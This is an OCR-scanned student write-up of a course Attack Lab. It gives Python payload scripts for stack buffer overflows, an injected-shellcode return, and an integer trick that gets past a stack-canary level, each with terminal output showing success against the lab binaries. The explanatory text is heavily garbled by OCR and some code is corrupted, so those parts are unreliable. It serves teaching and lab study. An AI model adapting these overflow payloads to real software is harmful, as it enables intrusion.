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void func(char *s) {
char buffer[8];
strcpy(buffer, s);

3

void funci() {
puts("Yes!I like ICS!");
exit(0);

}

int main(int argc, char *argv[]) {
char buf[256];

puts("Do you like ICS?");
if (argc '= 2) {

return 1,

// —ERTHRRER
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o e e oo + <--- rbp

| |

| buffer (8 bytes) | <--- rbp - 0x8

o e e e oo +

| |

| local variables | <--- rbp - 0x18

| |

L LT + <---rsp = rbp - 0x20

Low

FRBIRERER - W& 16 FTAI padding , AIFBE N funci RIHIHHERFHREMILE, XMEEEIN
TIEFPTCARKEEE] funcl FEIHH Yes!I like ICS! ,

o BRAR:
(A TLINNK

padding = b"a" * 16
funcl_address = b"\x16\x12\x40\x00\x00\x00\x00\x00" # funcl it
payload = padding + funcl_address
with open("ansi1.txt", "wb") as f:
f.write(payload)
print("Payload written to ansil.txt")

« £ .

schriefferaAurora:~/labs/attack-lab-JackXing875/pl1% ./probleml ans.txt
Do you like ICS?

Yes!I like ICS!

Problem 2:
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void func(char *a) {
char buffer[8];
return memcpy(buffer, a, 0x38);

void func2(int a) {
if (a !'= 1016) {
printf("I think that you should give me the right number!\n");
exit(0);
}
printf("Yes!I like ICS!\n");
exit(0);

int main(int argc, char **argv) {
char payload[268];
// ME—BERS | OLEBBHtBEM argv[1] iZEVFFHEE| payload

printf("Do you like ICS?\n");
if (argc == 2) {
/] —ER%
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High
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| return address |
o e e e oo +
| saved %rbp [
o e e oo + <--- rbp
| |
| buffer (8 bytes) | <--- rbp - 0x8
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| |
| local variables | <--- rbp - 0x18
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L LT + <---rsp = rbp - 0x20



TRARBEHWORAT E—ENAR , ERAMET. AREEE funcz ERSEIEN 1016 FHEH
HER, ERNREREIL main BHPER] func2 |, BBALLKSTFEE %rdi FRIERNIR , WAR

He TRAMNEER , BERMLZHHERERNDSIETNEMATATIE ?

FANFLE LIS
40124c: 48 8d 05 e8 0d 00 00 lea Oxde8(%rip), %rax
401253: 48 89 c7 mov %rax,%rdi
401256: b8 00 00 00 00 mov $0x0, %eax
40125b: e8 70 fe ff ff call 4010d0 <printf@plt>

FITHEER I "Yes!I like ICS!\n" , M call IESHAFRZE

push rip_next

jmp target

FEFH(1EE call F 0x40124c BTGB IFAEER,

o BRGR:

padding = b"a" * 16
func2_phase2 = b"\x4c\x12\x40\x00\x00\x00\x00\x00"
payload = padding + func2_phase2
with open("ans.txt", "wb") as f:
f.write(payload)
print("Payload written to ans.txt")
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schriefferd@Aurora:~/labs/attack-lab-JackXing875/p2$ ./problem2
Do you like ICS?

Welcome to the second level!
Yes!I like ICS!
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ans.txt



void funci(int num) {
if (num !'= 0x72) {
puts("Error answer!");
exit(0);
}
puts("Your lucky number is 114");

void func(char *input) {
char buffer[32]; // rbp - 0x20
// TR bufferRE32F T , BHEIIT64 (0x40) F1
memcpy (buffer, input, 0x40);

/7 ...
}
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High
o e e e oo +
| return address | <--- target
o e o - - +
| saved %rbp [
T + <--- rbp
| |
| buffer (32 bytes) | <--- rsi = rbp - 0x20
| |
o e e e e oo +
| |
| | <--- rsp = rbp - 0x30
e +
Low

BANBERRMIT funct |, B—FHHE , EEEWNEE] funca WAD , HTEHFFEE %edi REINELIR
B 114 , KEBFPEIEEIES cmpl $0x72, -0x44(%rbp) RESBREELMMEEEL ; 5—FH@E , &
AT ST EMBRITHEZI R P EINFAEENS D , FFERIEHER , BAZESRES (W

mov %rax, -0x40(%rbp) ) fk¥ %rbp FTFEREMIL LHIEELEE buffer , AMIHANTVINEE I
ER/Y saved %rbp , HF ASLR 71& , FANEMNFH— eI BLiALOevE X aE , REEEANTTRURINIIREL
B, XIEH %rbp EEERWAFXE , 5| %EZFER. BLEBNEENITERBEE X
shellcode RiZESHFFHAERL,

BREESH , BRILHNAD



<shellcode>: bf 72 00 00 00 mov $0x72,%edi
<shellcode+0x5>: b8 16 12 40 00 mov $0x401216, %eax

<shellcode+0xa>: ff do call *%rax

F2ME T shellcode ,

BRI REFENCR )8, RME—NEEHFIERE jmp_xs

40133c: 48 8b 05 cd 21 00 00 mov Ox21cd(%rip), %rax
401343: 48 89 45 f8 mov %rax, -0x8(%rbp)
401347: 48 83 45 f8 10 addg  $0x10, -0x8(%rbp)
40134c: 48 8b 45 8 mov -0x8(%rbp), %rax
401350: ff e0 jmp *%rax

I ALE , jmp_xs AT — saved_rsp + 0x10 I ERJXHS , M saved_rsp 7 func ERZPHE
R, FEREAIRY buffer RIEIRMIEFZ saved_rsp + 0x10 , GEEEAEF BME
Z , jmp_xs BITNEERMKEEZE buffer BIECIAHIE ( rbp-0x20 ).

TFREBIREW T : BATRFERE buffer FKIME shellcode , AFEARNINEIEEER 40 F
T, BREWH func FREMUEESJ jmp_xs AYHAHEETR],

o BRGR:

shellcode = b"\Xxbf\x72\x00\x00\Xx00\xb8\Xx16\x12\x40\x00\xff\xdo"
padding_len = 40 - len(shellcode)

padding = b"A" * padding_len

jmp_xs_addr = 0x401334

ret_addr = b"\x34\x13\x40\x00\Xx00\x00\x00\x00"

payload = shellcode + padding + ret_addr

with open("ans.txt", "wb") as f:
f.write(payload)

print(f"Payload (len={len(payload)}) written to ans.txt")

o HER .

(base) schrieffera@Aurora:~/labs/attack-lab-JackXing875/p3$ ./problem3 ans.txt
Do you like ICS?
Now, say your lucky number is 114!

If you do that, I will give you great scores!
Your Llucky number is 114




Problem 4:
o T :
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136¢C: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
1373: 00 00
1375: 48 89 45 f8 mov %rax, -0x8(%rbp)

B %fs ERS17 2B m it iR 0x28 I B N2k L %rbp - S I E £, 7E Linux REH ,
%fs BE AT 1504 IEEERFME , METREVLEE |, XNttt 2R, Wit , ZFREGEE
iR =

140a: 48 8b 45 f8 mov -0x8(%rbp), %rax

140e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax

1415: 00 00

1417: 74 05 je 141e <func+Oxcl>

1419: e8 b2 fc ff ff call 10d0 <__ stack_chk_fail@plt>
141e: c9 leave

141f: c3 ret

XERURERR T ZRIFAEMRTRY canary FAFREM T —/ LR , IRBENIERERE , [MEA
__stack_chk_fail , MEAFEHEIR, X—EREMFEIM TPATIBRY canary RiF,
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void funci(void) {
// __readfsqword 2RI (canary)

puts("great! I will give you great scores");

void func(unsigned int money) {
int v2 = money;

printf("your money is %u\n", money);

if (money >= OXFFFFFFFE) {
for (unsigned int i = 0; i < OXFFFFFFFE; 1i++)
v2--,;

if (v2 == 1 && money == -1) {
funcl();
exit(0);

puts("No! I will let you fail!");
} else {
puts("your money is not enough!");

int main(int argc, char *argv[]) {
unsigned int v3[4];
char name_buf[45];
char like_buf[32];
char tmp_buf[56];

v3[1l] = -1;
v3[2] = -1;
v3[3] = -200000096;

puts("hi please tell me what is your name?");

scanf("%s", name_buf + 13);

strcpy(name_buf, "pakagxuwquoe");
caesar_decrypt(name_buf, 12);

puts("hi! do you like ics?");



scanf("%s", like_buf);

strepy(tmp_buf, "urkagsuhqygkgmzetuuiuxxsuhgkagsaapeoadqge");
caesar_decrypt(tmp_buf, 12);

puts("if you give me enough yuanshi, I will let you pass!");

while (1) {
scanf("%d", &v3[0]);
func(v3[0]);

AILALEL , FEREL main HEIEEXT name_buf F like buf HYIA. strcpy CAKENIEIREZRIR{ESS
R E— = BRERSE., BN EFH—EERH T IEX(EE great! I will give you great scores AJA[
fiiF funci ERELH , MIXE func REEAET funci .

ZfE func RINEA funci , WIEINHER NG : v2 == 1 H money == -1 , 74f
func(unsigned int money) HY{XHZIZEER]ALIN :

o %% money ZEE!JH unsigned int , MEZPLE v2 #WHIANH money , HEER int,
o money FIEEERETIERYFERFE—IX scanf("%d", &v3[0]) BIHEIA,

EBNEREMERIGA -1 : scanf 1EA -1 , EATFERME ] OXFFFFFFFF , 34F

unsigned int money , iZ{EWMERENRALHSEL , #E money >= OXFFFFFFFE MY 25T | [E
BftAE money == -1 ( EFSERINEE -1 #WiTIRA OXFFFFFFFF ) MREWERYE., v2 ER
int EE , ¥RER -1 . BEFHEABR

for ( unsigned int i = ©; i < OXFFFFFFFE; i++) v2--; . UWEAMEMRITT OXFFFFFFFE )X ( B
232 — 2%) BHIRME, BIRERE v2 EF 1 B money kAR (unsigned int) -1 ( OXFFFFFFFF
)o R if (v2 == 1 && money == -1) YL , FRIAA funci HHEIHIEHEE,

ZEFMA , TEAAMEBMATARAEE , RERRE—MERBEA -1 BeE,

o BRAR : ZTAEE payload ,
o KR :



schriefferaAurora:~/labs/attack-lab-JackXing875/p4$ ./problemd
hi please tell me what is your name?

IKUN

hi! do you like ics?

yes

if you give me enough yuanshi,I will let you pass!
-1

your money is 4294967295
great!I will give you great scores
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13

ii]

il

Z , XE—MRIER lab . BHEBEIH !

855G
o BIETILAREEFM Attack Lab ERITIC

PKU HY AttackLab , RAIGHIAHRFDIZIEEEZM T —NERBIA] (RASFATHY AttackLab
RBEARNKKR)

o Himth/RIE

—Lt ROP FIEANIR , I¥F Problem3 BH—EEE


https://arthals.ink/blog/attack-lab
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

